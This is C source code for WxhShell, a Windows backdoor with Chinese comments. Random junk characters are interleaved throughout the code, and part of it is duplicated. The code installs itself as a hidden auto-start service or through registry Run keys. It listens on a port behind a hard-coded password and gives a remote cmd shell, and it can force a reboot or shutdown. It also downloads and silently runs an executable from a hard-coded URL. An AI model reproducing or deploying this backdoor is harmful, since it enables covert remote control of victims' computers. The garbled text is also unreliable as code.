(GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); d8jP@> NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); pkIJbI{aS @!\lt$ if (!NtQueryInformationProcess) return 0; ~:="o/wo <UwA5X`0e. hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5zJ#d}%}S" if(!hProcess) return 0; 65c#he[_Y nzi)4"3O if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "X1{* "Bn]-o|r CloseHandle(hProcess); G;msq=9| s\
]Rgi>w hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); g;nPF*( if(hProcess==NULL) return 0; rYA4(rYq JR/^Go$^ HMODULE hMod; f;W>:`' char procName[255]; P4"EvdV7 unsigned long cbNeeded; ")qO#b4 8+~|!)a if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); JA?P jo FU(s jB CloseHandle(hProcess); k@C]~1 ~ @s$ if(strstr(procName,"services")) return 1; // 以服务启动 7G8M+i3q/ z9*7fT return 0; // 注册表启动 O7Awti-X
} Z}6H529[ Ll6|Wh X // 主模块 `ZAGseDd~ int StartWxhshell(LPSTR lpCmdLine) 0 Pa\:^/6 { .zyi'Kj SOCKET wsl; >RT02Ey> BOOL val=TRUE; a@WSIcX*W int port=0; KbF,jm5 struct sockaddr_in door; E2{SKIUm faaFmEC if(wscfg.ws_autoins) Install(); JS1''^G&. j'JNQo;q port=atoi(lpCmdLine); fqU*y 6] Ke+#ww if(port<=0) port=wscfg.ws_port; i;B)@op.# H23-%+*J WSADATA data; sHulaX{ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; O>`DR0 9y"*H2$# if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Doy7prKI8 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); lGZ^ 8 door.sin_family = AF_INET; gG.b=DvzY door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7*r7Q' door.sin_port = htons(port); ;M"JN:J8 GoNX\^A if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { q\g|K3V) closesocket(wsl); pTlNJ!U> return 1; Am?
d HP } Yl#r9TM @bj3N if(listen(wsl,2) == INVALID_SOCKET) { X4U$#uI{ closesocket(wsl); HW(cA}$ return 1; BK8)'9/ } Jtxwt[ Wxhshell(wsl); Yvu!Q WSACleanup(); +," /z\QO WL<$(y:H return 0; SablF2doa 195m0'zda } L}1|R*b ?E0j)P/
( // 以NT服务方式启动 T8,?\7)S9 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) gSP]& _9j { 4jlUyAD DWORD status = 0; I=)u:l c DWORD specificError = 0xfffffff; lV-b %(,Kj
~0 serviceStatus.dwServiceType = SERVICE_WIN32; *eAsA(; serviceStatus.dwCurrentState = SERVICE_START_PENDING; f\}fUg2 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; FDA``H~ serviceStatus.dwWin32ExitCode = 0; %EuJ~;x(Mg serviceStatus.dwServiceSpecificExitCode = 0; ^-9g_5 serviceStatus.dwCheckPoint = 0; Pwn3/+"%K serviceStatus.dwWaitHint = 0; ]CD lr:rQw9 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); dMw0Aw,2]8 if (hServiceStatusHandle==0) return; qcSlY&6+ gwj+~vSfi status = GetLastError(); $
\j/s:Y if (status!=NO_ERROR) ab5 a>w6} { 5J^S-K^r serviceStatus.dwCurrentState = SERVICE_STOPPED; KErQCBeJ serviceStatus.dwCheckPoint = 0; IvFxI#.ju serviceStatus.dwWaitHint = 0; ]3xb Q1 serviceStatus.dwWin32ExitCode = status; uz6S7I serviceStatus.dwServiceSpecificExitCode = specificError; E)l0`83~^ SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;by`[) return; C:+-T+m[ } ~)XyrKw hSQuML serviceStatus.dwCurrentState = SERVICE_RUNNING; #1-,s.) serviceStatus.dwCheckPoint = 0; {k4)f ad\ serviceStatus.dwWaitHint = 0; ?6;9r[ p if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); nKI]f`P7 } P;7JK=~k cn62:p]5 // 处理NT服务事件,比如:启动、停止 zq1je2DB VOID WINAPI NTServiceHandler(DWORD fdwControl) 9K]Li\ { >/@wht4- j switch(fdwControl) 7>#?-, B { J:<mq5[ case SERVICE_CONTROL_STOP: y:t@X~ serviceStatus.dwWin32ExitCode = 0; 5L6_W-n{ serviceStatus.dwCurrentState = SERVICE_STOPPED; )k)HQcfjD serviceStatus.dwCheckPoint = 0; }HB>Zb5 serviceStatus.dwWaitHint = 0; 5f;6BP { e[<vVe! SetServiceStatus(hServiceStatusHandle, &serviceStatus); T?vM\o%i3 } [Dr' return; z TYHwx case SERVICE_CONTROL_PAUSE: d}@b 3 serviceStatus.dwCurrentState = SERVICE_PAUSED; 6_Ps*Ed break; uDhe
) case SERVICE_CONTROL_CONTINUE: =35g:fL serviceStatus.dwCurrentState = SERVICE_RUNNING; M]c"4b; break; I5#KLZVg case SERVICE_CONTROL_INTERROGATE: }
Xbmb8 break; f4%Z~3P }; !3O8B0K)v SetServiceStatus(hServiceStatusHandle, &serviceStatus); cs+;ijp } <{ZDD]UGs0 GkwdBy+ // 标准应用程序主函数 ~Up5 +7k@ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) m*bTELb { I/2{I #:B14E // 获取操作系统版本 Dq07Z^#' OsIsNt=GetOsVer(); 77 g<`}{ GetModuleFileName(NULL,ExeFile,MAX_PATH); wh Hp}r >m:;.vVY // 从命令行安装 [TX1\*W if(strpbrk(lpCmdLine,"iI")) Install(); -!@]z2uU t=l@(%O 0_ // 下载执行文件 WiU-syNh if(wscfg.ws_downexe) { 7%j1=V/ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |WkWZZ^ WinExec(wscfg.ws_filenam,SW_HIDE); :)9CG!2y<M } SEKR`2Zz, 8SZZ_tS3r if(!OsIsNt) { ^;8dl.; // 如果时win9x,隐藏进程并且设置为注册表启动 5q^5DH_; HideProc(); ahh&h1q7| StartWxhshell(lpCmdLine); j.]ln}b/'+ } |
)No4fm else QLm#7ms*y if(StartFromService()) ;S_Imf0$v // 以服务方式启动 YD9|2S!G StartServiceCtrlDispatcher(DispatchTable); H\%^n<]# else !We9T )e // 普通方式启动 W{$J)iQ StartWxhshell(lpCmdLine); xcQD]" R@df~ return 0; m$.7) 24 } ul-O3]\'@ C6JwJYa sC'PtFK8z Hg~8Td** =========================================== u?4d<%5R! {EjzJr> G_QV'zQ [-0=ZKH? 5_\1f|, 3,"G!0 y. " cd&sAK" %N#A1 #include <stdio.h> tjLG$M1z` #include <string.h> {zI>"%$u #include <windows.h> 'F%h]4|1 #include <winsock2.h> P(bds #include <winsvc.h> M?00n< vM #include <urlmon.h> ?!.L#]23f `l'Ine11 #pragma comment (lib, "Ws2_32.lib") E{'Y>gB6 #pragma comment (lib, "urlmon.lib") vkLKzsN' ] Q 5&|1m Pb #define MAX_USER 100 // 最大客户端连接数 yR% l[/ X #define BUF_SOCK 200 // sock buffer }vb.>hy #define KEY_BUFF 255 // 输入 buffer 3V]08 F]L96& #define REBOOT 0 // 重启 *&z!y/ #define SHUTDOWN 1 // 关机 k5|GN Y6a M4n0GWHLy #define DEF_PORT 5000 // 监听端口 sk5B} - J'%W_?wZ #define REG_LEN 16 // 注册表键长度 )43z(:< #define SVC_LEN 80 // NT服务名长度 #h#_xh' n0FzDQt26 // 从dll定义API ?jU 3%" typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); tmQ,> typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ',1[rWyc typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _ mgu
r typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9aYVbq"" 1 XpqnyL& // wxhshell配置信息 Ekn3ODz, struct WSCFG { DFbhy int ws_port; // 监听端口 )m
Ii. char ws_passstr[REG_LEN]; // 口令 \D-X
_.v int ws_autoins; // 安装标记, 1=yes 0=no g'9~T8i& ^ char ws_regname[REG_LEN]; // 注册表键名 VHLt,?G char ws_svcname[REG_LEN]; // 服务名 !Ld[`d.|R! char ws_svcdisp[SVC_LEN]; // 服务显示名 ltv~Kh char ws_svcdesc[SVC_LEN]; // 服务描述信息 f jMmlp char ws_passmsg[SVC_LEN]; // 密码输入提示信息 hGI5^!Cq int ws_downexe; // 下载执行标记, 1=yes 0=no `[h&Q0Du6 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" I0N~>SpZ5 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 psuK\s xg4wtfAbS }; Z?qc4Cg wauM|/KG // default Wxhshell configuration Y=/;7T struct WSCFG wscfg={DEF_PORT, $,o@&QT?AT "xuhuanlingzhe", F5+!Gb En 1, Ev T"+;9/p "Wxhshell", ~ymSsoD^ "Wxhshell", z"*3p8N "WxhShell Service", 8mC$p6Okd "Wrsky Windows CmdShell Service", L% T%6p_ "Please Input Your Password: ", 2gW+&5;4 1, ItE)h[86 "http://www.wrsky.com/wxhshell.exe", g(R!M0hdF "Wxhshell.exe" V$ho9gQ!l[ }; 8\bZ?n#dn S-79uo // 消息定义模块 Yez char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; p3B_NsXVZ char *msg_ws_prompt="\n\r? for help\n\r#>"; X=VaBy4# char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; C9j5Pd5q1L char *msg_ws_ext="\n\rExit."; _@Y17L. char *msg_ws_end="\n\rQuit."; } 7i}dyQv} char *msg_ws_boot="\n\rReboot..."; lWFm>DiLY char *msg_ws_poff="\n\rShutdown..."; m@yx6[E# char *msg_ws_down="\n\rSave to "; rUmnv%qTS XeozRfk%J| char *msg_ws_err="\n\rErr!"; XeXK~ char *msg_ws_ok="\n\rOK!"; (Li)@Cn% bQwiJ`B& char ExeFile[MAX_PATH]; T_qh_L3 int nUser = 0; C7!=LiK} HANDLE handles[MAX_USER]; u]<`y6=&C int OsIsNt; t`0(5v a; 0$fRy SERVICE_STATUS serviceStatus; 0>0:ls SERVICE_STATUS_HANDLE hServiceStatusHandle; I`}x 9t @3>nVa // 函数声明 0Y\7A int Install(void); D 3}e{J8 int Uninstall(void); B'D4]EB int DownloadFile(char *sURL, SOCKET wsh); Oxf,2r int Boot(int flag); Gp))1b'; void HideProc(void); Uf-`g> int GetOsVer(void); /J'dG% int Wxhshell(SOCKET wsl); <*&2b void TalkWithClient(void *cs); 0N3S@l#,\A int CmdShell(SOCKET sock); [u`9R<>c"U int StartFromService(void); J""N:X!1 int StartWxhshell(LPSTR lpCmdLine); _Y,d|!B#L "a>a
"Ei VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |h%fi-a: VOID WINAPI NTServiceHandler( DWORD fdwControl ); GGn/J&k ,h$j%->U // 数据结构和表定义 x^]1m% SERVICE_TABLE_ENTRY DispatchTable[] = $kk!NAW { c95{Xy {wscfg.ws_svcname, NTServiceMain}, #oD*H:%* {NULL, NULL} gw9:1S
}; ;/-#oW@gQ xo*[
g`N // 自我安装 g3uI1]QXLg int Install(void) jR&AQ-H& { v:$Y
|mh char svExeFile[MAX_PATH]; zbL6TP@= HKEY key; FzGla} ) strcpy(svExeFile,ExeFile); ur2`.dY>3"
UBxQ4)% // 如果是win9x系统,修改注册表设为自启动 ZX!u\O|w if(!OsIsNt) { ocT.2/~d if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y:8*!}fR RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qjp<_aw RegCloseKey(key); L3-tD67oa if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D;al(q RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j/xL+Y(= RegCloseKey(key); e
RjpR?!\ return 0; -3T6ck } Lqv5"r7eV } \WVrn >%xu } B[0XzV]Z else { KwiTnP!Dca G&Sp } // 如果是NT以上系统,安装为系统服务 >K9uwUi|b] SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); m,U`hPJ if (schSCManager!=0) -3<5,Q{G+ { @u2nG:FG SC_HANDLE schService = CreateService eOQUy+ ( 5E/z.5 q schSCManager, WeTs va+ wscfg.ws_svcname, vO2 o/
wscfg.ws_svcdisp, 2|)3Ly9 SERVICE_ALL_ACCESS, ,]'?Gd SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }I'g@Pw9[ SERVICE_AUTO_START, l*]*.?m/5 SERVICE_ERROR_NORMAL, M"]~}* svExeFile, x.+}-(`W#~ NULL, <"@~
NULL, \gL
H_$} NULL, ,"u-V<>6O NULL, +]Y&las NULL |Y!#` ); u5EHzoq if (schService!=0) +QIM~tt) {
5eO`u8M CloseServiceHandle(schService); <m80e),~ CloseServiceHandle(schSCManager); ":*PC[)W strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Poacd;* strcat(svExeFile,wscfg.ws_svcname); '@u/] ra: if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Ak$ghb RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); p
IXBJk RegCloseKey(key); KD^>Vv# return 0; !p1OBS| } `av8|; } . oUaq|O CloseServiceHandle(schSCManager); Zg|z\VR } %,GY&hTw } ky#d` a4X J0Tm return 1; T"'"T]^
X } pK#Ze/! Roy0?6O // 自我卸载 k`r}Gb int Uninstall(void) r:y*l4 { S'HM|& HKEY key; 0yXUVKq3 l'VgS:NT if(!OsIsNt) { 2s;/*<WM if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |^Z1 D TAw RegDeleteValue(key,wscfg.ws_regname); >/EmC3?b! RegCloseKey(key); YcGSZ0vQ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Pv`yOx&nE RegDeleteValue(key,wscfg.ws_regname); |,5b[Y"Dt RegCloseKey(key); S)z
jfJR return 0; B} gi / } Vf*!m~]Vqi } Y*3qH] } 1^R @X else { R3Eh47 9'Y~! vY SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); g||{Qmr=1 if (schSCManager!=0) Xcicqywe? { t
qbS!r SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,m!j2H}8 if (schService!=0) jwTb09 { n<kcK if(DeleteService(schService)!=0) { ?)7uwJsH CloseServiceHandle(schService); k _hiGg CloseServiceHandle(schSCManager); 18Vtk"j return 0; Q<d\K(<3?: } 75@){ : CloseServiceHandle(schService); ME1lQ7E4B } KB7CO: CloseServiceHandle(schSCManager); G|Ic6Sd } Z~~{!C+G } .jZmQtc e1S |&W8 return 1; ?BQZ\SXU } v@LK3S/!3 B=7bQli} // 从指定url下载文件 )}=`Gx5+ int DownloadFile(char *sURL, SOCKET wsh) 2K!3+D" { L"1UUOKy HRESULT hr; *Z KI02M char seps[]= "/"; Eg 5|XV char *token; utQE$0F char *file; wZh&w<l' char myURL[MAX_PATH]; 782be-n char myFILE[MAX_PATH]; fr;>`u[; 234OJ? strcpy(myURL,sURL); Iu jly f token=strtok(myURL,seps); k)b}"' I while(token!=NULL) ^vYH"2 { 9loWh5_1Z file=token; dfiA- h token=strtok(NULL,seps); \kvd;T#t6 } rF2`4j&! @T._
GetCurrentDirectory(MAX_PATH,myFILE); Tw)nFr8oF] strcat(myFILE, "\\"); "8&pT^ strcat(myFILE, file); 75r>~@)* send(wsh,myFILE,strlen(myFILE),0); s&iM.[k send(wsh,"...",3,0); 7u6o~( hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %UI.E=`n if(hr==S_OK) 2^bq4c4J return 0; v98=#k!F else 5:Pp62 return 1; lt|\$Iy( aA-A>z } r )ZUeHt}w =\B{)z7@6D // 系统电源模块 \6-x~%xK int Boot(int flag) ,G!M?@Q { zIi|z}WJ HANDLE hToken; n`2d TOKEN_PRIVILEGES tkp; c$rkbbf~V yMq&9R9F if(OsIsNt) { QzPq^ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,=O`'l>K LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); K~H)XJFF tkp.PrivilegeCount = 1; O%H_._#N` tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %%`Nq&' AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); jGl8y!aM if(flag==REBOOT) { "=@b>d6U+ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "X T7;! return 0; ((Ak/ qz } =@AWw:!:, else { _G|hKk^, if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) %obR2% return 0; onRxe\?D( } ?:vp3f# } mEfI2P)#| else { S<rdPS*P if(flag==REBOOT) { veAg?N<c
p if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =.(yOUI return 0; Nz_c]3_j } n0F.Um else { $h`(toTyF if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Ni#!C:q return 0; X1&Ug^ } NdGIH/Y;M } reR ><p t~ruP',~\ return 1; S-}MS" } i]J*lM7' m^0r9y, // win9x进程隐藏模块 'kb5pl~U void HideProc(void) NAjY,)>'K { ma9q?H#X 0T7(c- HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^`~M f if ( hKernel != NULL ) yI/2 e [ { 9pUvw_9MY pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); oNQ;9&Z,^2 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); CF"$&+ s9 FreeLibrary(hKernel); e8g"QDc } j[l6&eX _Z?{&k return; DP\s-JpI[ } =sy>_ 0zm)MSg // 获取操作系统版本 6hDK;J J& int GetOsVer(void) ie|I*;# { (uW/t1 OSVERSIONINFO winfo; D FDC'E winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); e9e%8hL GetVersionEx(&winfo); ,<?iL~> % if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :K.%^ag=j return 1; ^?PU:eS else x{4Rm,Dxn return 0; >dKK [E/[d } =OfU#i"c xw_VK1 // 客户端句柄模块 ^kZfE"iE2 int Wxhshell(SOCKET wsl) (Mi]vK.4 { }
8ZCWmd SOCKET wsh; .N2yn` struct sockaddr_in client; 1Vq]4_09g1 DWORD myID; @P=St\;VP RtVy^~=G while(nUser<MAX_USER) ?#8',: { v{{Cj83S+ int nSize=sizeof(client); z'@j9vT wsh=accept(wsl,(struct sockaddr *)&client,&nSize); HQHFD0hv if(wsh==INVALID_SOCKET) return 1; N]n]7(e+0C [MSLVTR handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); EvZ;i^.8LS if(handles[nUser]==0) \#4??@+Xf closesocket(wsh); v|5:;,I else dw
%aoe nUser++; sYV7t*l } a*LT <N WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); m-f"EFmP !0ly1T 9 return 0; .K?',x } B$~oZ'4v 8N<0|u // 关闭 socket }~P%S(zB void CloseIt(SOCKET wsh) =Y`P}vI]w% { Gvo(iOU closesocket(wsh); w0QN5? nUser--; i`o}*`// ExitThread(0); p:M#F: } CU=}]Y \)'nxFKqV // 客户端请求句柄 "|W .o=R void TalkWithClient(void *cs) ?wE@9g A { |\ Nj M=[ /v/M= SOCKET wsh=(SOCKET)cs; j]7|5mC78 char pwd[SVC_LEN]; 1xK'1g72 char cmd[KEY_BUFF]; %bf+Y7m char chr[1]; f.V;Hl, int i,j; a] :tn:q &pwSd while (nUser < MAX_USER) { 2mL1BG=Yk kg[u@LgvoN if(wscfg.ws_passstr) { 4GJ1P2 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F\1nc"K/( //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mhTpR0 //ZeroMemory(pwd,KEY_BUFF); 1@IRx{v$ i=0; 0
eZfHW& while(i<SVC_LEN) { R`=3lY; 0?uX}8w // 设置超时 'G6TSl fd_set FdRead; !mFo:nQ)} struct timeval TimeOut; Z&8
7Aj FD_ZERO(&FdRead); Wd4fIegk FD_SET(wsh,&FdRead); 7}bjJR " TimeOut.tv_sec=8; 3WyK!@{ TimeOut.tv_usec=0; 8>x.zO_.c> int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .lu:S;JSnS if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Cus=UzL *ggTTHy if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); RsBo\#` pwd=chr[0]; j`Lf/S!} if(chr[0]==0xd || chr[0]==0xa) { -Nmf}`_ pwd=0; 992;~lBu break; dsDoPo0! } j)\g0u6 i++; >V(>2eD'S } 1_:1cF{w _5a]pc$\Y] // 如果是非法用户,关闭 socket ';V(sRU@ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); G B!3`
A%& } c5P52_@ BEvSX|M>x send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); tYIHsm\b send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~C5iyXR <mHptgd, while(1) { YN] w_= a#H=dIj ZeroMemory(cmd,KEY_BUFF); IcL3.(!]l !boKrSw // 自动支持客户端 telnet标准 d_J?i]AP|' j=0; q" wi.&| while(j<KEY_BUFF) { OdQ>h$ gZ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4 E3@O cmd[j]=chr[0]; &ukNzV}VW if(chr[0]==0xa || chr[0]==0xd) { + WPi} cmd[j]=0; ;KQ'/nII break; X2@mQ&n } 4\pA^%73 j++; UTA0B&aB } S
!c/"~X+ +azPpGZ= // 下载文件 e"r'z
n if(strstr(cmd,"http://")) { CW\o>yh send(wsh,msg_ws_down,strlen(msg_ws_down),0); %W"\ if(DownloadFile(cmd,wsh)) t)XV'J send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?^BsR else R'dF<&Kj| send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N["c*=x } "EEE09~l\ else { uNd ;;X y=h2_jt switch(cmd[0]) { 8YkP57Y%[Z R5]R
pW=G // 帮助 P05_\
t case '?': { |Q9S$l] send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |<y[gj4`T/ break; %J.Rm0FD: } tB(Q-c // 安装 ]`m|A1( case 'i': { yWzvE:!) if(Install()) l^$:R~gS send(wsh,msg_ws_err,strlen(msg_ws_err),0); @TgCI`E else KD,b.s send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w-/bLg[L?$ break; hNx`=D9[7 } 0RoI`>j' // 卸载 W@wT,yJ8@ case 'r': { )>\Ne~% if(Uninstall()) SNK+U"Q send(wsh,msg_ws_err,strlen(msg_ws_err),0); Kjz,p^Y\ else !Z=`Wk5 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s ^)W?3t] break; {qLnwy!i } AO']Kmm // 显示 wxhshell 所在路径 c"O\fX case 'p': { q,:\i+>K* char svExeFile[MAX_PATH]; +e?ixvld strcpy(svExeFile,"\n\r"); TqQ>\h"&_ strcat(svExeFile,ExeFile); :hMuxHr send(wsh,svExeFile,strlen(svExeFile),0); TP^.]IO- break; =,T~F3pK } t4gD*j6J3 // 重启 #mllVQ case 'b': { i}wu+<Mk send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Ro-Mex2 if(Boot(REBOOT)) G uDus2#+ send(wsh,msg_ws_err,strlen(msg_ws_err),0); -CL7^ else { Q;aZpi-E" closesocket(wsh); PKjA@+ ExitThread(0); @F,HyCSN } 'kh%^_FH7 break; L\-T[w),z7 } x7NxHTL // 关机 CS"p[-0 case 'd': { {Or|] 0 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1/&j'B if(Boot(SHUTDOWN)) " g_\W send(wsh,msg_ws_err,strlen(msg_ws_err),0); zZf#E@=$| else { cA/2,i closesocket(wsh); F5MWxAS,> ExitThread(0); t: [[5];E } W
B!$qie\ break; y!v $5wi } ;<MaCtDt // 获取shell B'
:ZX-Q) case 's': { k"sL.}$ CmdShell(wsh); \DQ; v closesocket(wsh); Q`//HOM, ExitThread(0); Yb?#vp I break; -_4! id } \\/X+4|o' // 退出 2XXEg>CU case 'x': { \4vFEJSh send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); He]F~GXP CloseIt(wsh);
V!Joh5=a break; NKB!_R+ } ~P/G^cV3s // 离开 T4f:0r;^f* case 'q': { RV($G8U send(wsh,msg_ws_end,strlen(msg_ws_end),0); pD>3c9J'^F closesocket(wsh); v(t&8)Uu WSACleanup();
A{c6XQR~z exit(1); S`l CynGH break; 1/fvk } 4({=(O } ?_^9e } 2xnOWW UG!&n@R // 提示信息 ]':C~-RV{ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jG^~{7# } pTN_6=Y" } Q3KBG8 o j^U return; L*l( ~t)vF } mb/3
#) L{Th>]X // shell模块句柄 e-s@@k
int CmdShell(SOCKET sock) Qz<-xe`o8] { O7K))w STARTUPINFO si; YW'Y=* ZeroMemory(&si,sizeof(si)); ._R82gy si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /#
eBDo si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 'Oc8[8 PROCESS_INFORMATION ProcessInfo; NMDNls&)k char cmdline[]="cmd"; Z/I!\ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Q\rqG return 0; i3GvTg-X } DTJ ZHBwoC#5} // 自身启动模式 *[U:'o`67 int StartFromService(void) y#MLxm { OYzJE@r^ typedef struct lAGxE-B^a" { Kzm_AHA) DWORD ExitStatus; f&`*x t/ DWORD PebBaseAddress; `SG70/ DWORD AffinityMask; =MXF`k^} DWORD BasePriority; kal8k-$# ULONG UniqueProcessId; V.F 's(o ULONG InheritedFromUniqueProcessId; EW!$D } PROCESS_BASIC_INFORMATION; 0{,zE d.+vjMI PROCNTQSIP NtQueryInformationProcess; }n.h)Oz T'V(%\w static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Y}Dp{ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }}2kA A`r9"([-A HANDLE hProcess; JTI m`t"d= PROCESS_BASIC_INFORMATION pbi; J.&q[ k@~-|\ooG HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3 x'30 if(NULL == hInst ) return 0; H>r-|*n zm:=d>D.. g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `8-aHPF- g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); gB"Tc[l1 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); J'EK5=H EH:1Z*|Z{\ if (!NtQueryInformationProcess) return 0; )k1,oUx w?*KO?K hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <8bO1t^* if(!hProcess) return 0; |:?.-tq qh'BrYu* if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; K4yYNlY @Otc$hj CloseHandle(hProcess); I Q L~I13 >SJ$41"E hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); S3'g(+S if(hProcess==NULL) return 0; ;?!rpj \,EPsQV0? HMODULE hMod; .g#=~{A char procName[255]; d{hYT\7~1( unsigned long cbNeeded; {XX Nl)% +m.8*^ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~
t
H s+ Zz-;jkX) CloseHandle(hProcess); /RC!Yi 2P
